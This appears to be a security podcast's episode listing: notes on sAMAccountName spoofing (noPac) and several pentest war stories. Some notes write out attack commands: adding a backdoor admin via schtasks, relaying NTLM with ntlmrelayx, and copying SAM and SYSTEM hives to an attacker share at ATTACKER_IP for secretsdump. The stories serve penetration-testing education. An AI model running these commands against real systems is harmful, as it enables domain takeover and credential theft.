7MS #506: Tales of Pentest Pwnage - Part 32
7 Minute Security3 Helmi 2022

7MS #506: Tales of Pentest Pwnage - Part 32

Today's my favorite tale of pentest pwnage (again)! This time we're talking about sAMAccountName spoofing specifically. We also talk about my always-under-construction list of things I try early in a pentest for maximum pwnage:
  • Run PingCastle
  • Do the SharpHound/BloodHound dumps
  • Run the DHCP poisoning module of Responder
  • Check the ms-DS-MachineAccountQuota value in the domain - if its at the default (10), then any user can add machines to the domain.
Why is the ability to add machines to the domain important? Because in the case of the sAMAccountName spoofing, if you have a non-domain-joined machine like I do, you need the ability to add a computer object to the domain. Check the Pentestlab.blog article for more info, but essentially, if you have an unpatched domain controller and the ability to add computer objects to the domain, you can pull off the attack. The article goes into crazy good technical detail, and here's my not-so-technical explanation:

If I was on a pentest, and the DC was called 7MS-DC01, and I could join a machine to the domain (which as a reminder - ANY user can do if the machine quota value is at the default value of 10), I could rename that machine account to be 7MS-DC01 without the dollar sign, request a TGT for the domain controller's account, then restore the machine name back to what it was before. Now, because the TGT is stored in memory, we can use the S4U2self Kerberos extension to request a service ticket using a domain admin account. And because the original ticket belong to the 7MS-DC01 machine name which now doesn't exist, Kerberos will look for 7MS-DC01$ and will issue the ticket for the requested service.

I might've butchered that explanation mom, but I tried my best!

TLDL/TLDR: find and exploit these unpatched domain controllers with noPac. Enjoy!

Jaksot(695)

7MS #696: Baby's First Security Ticketing System

7MS #696: Baby's First Security Ticketing System

In today’s episode: I got a new podcast doodad I really like JitBit as a security ticketing system (not a sponsor) The Threat Hunting with Velociraptor 2-day training was great.  Highly recommend.  I got inspired to take this class after watching the 1-hour primer here.

10 Loka 27min

7MS #695: Tales of Pentest Pwnage - Part 78

7MS #695: Tales of Pentest Pwnage - Part 78

Today’s tale of pentest pwnage involves: Using mssqlkaren to dump sensitive goodies out of SCCM Using a specific fork of bloodhound to find machines I could force password resets on (warning: don’t do this in prod…read this!) Don’t forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at 7MinSec.club!

3 Loka 15min

7MS #694: Tales of Pentest Pwnage – Part 77

7MS #694: Tales of Pentest Pwnage – Part 77

Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The Tuesday TOOLSday video we did over at 7minsec.club will help bring this to life as well.

26 Syys 33min

7MS #693: Pwning Ninja Hacker Academy – Part 3

7MS #693: Pwning Ninja Hacker Academy – Part 3

This week your pal and mine Joe “The Machine” Skeen kept picking away at pwning Ninja Hacker Academy.  To review where we’ve been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket to give us local admin superpowers on WEB Performed a secretsdump against WEB Struggled to do a mimikatz dump at the end of the episode (after we ended the stream I realized I could’ve just done the mimikatz dump because I had local admin access!  Oh well, we’ll pick things up again during part 4 next month!)

19 Syys 28min

7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn’t interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn’t copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

12 Syys 32min

7MS #691: Tales of Pentest Pwnage – Part 75

7MS #691: Tales of Pentest Pwnage – Part 75

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

5 Syys 31min

7MS #690: Tales of Pentest Pwnage – Part 74

7MS #690: Tales of Pentest Pwnage – Part 74

Today’s tale of pentest pwnage is a classic case of “If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you’ve already enumerated, because that can lead to absolute GOLD!”

29 Elo 21min

7MS #689: Pwning Ninja Hacker Academy – Part 2

7MS #689: Pwning Ninja Hacker Academy – Part 2

Hello friends!  Today your friend and mine, Joe “The Machine” Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy!  Today’s pwnage includes: “Upgrading” our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

22 Elo 15min

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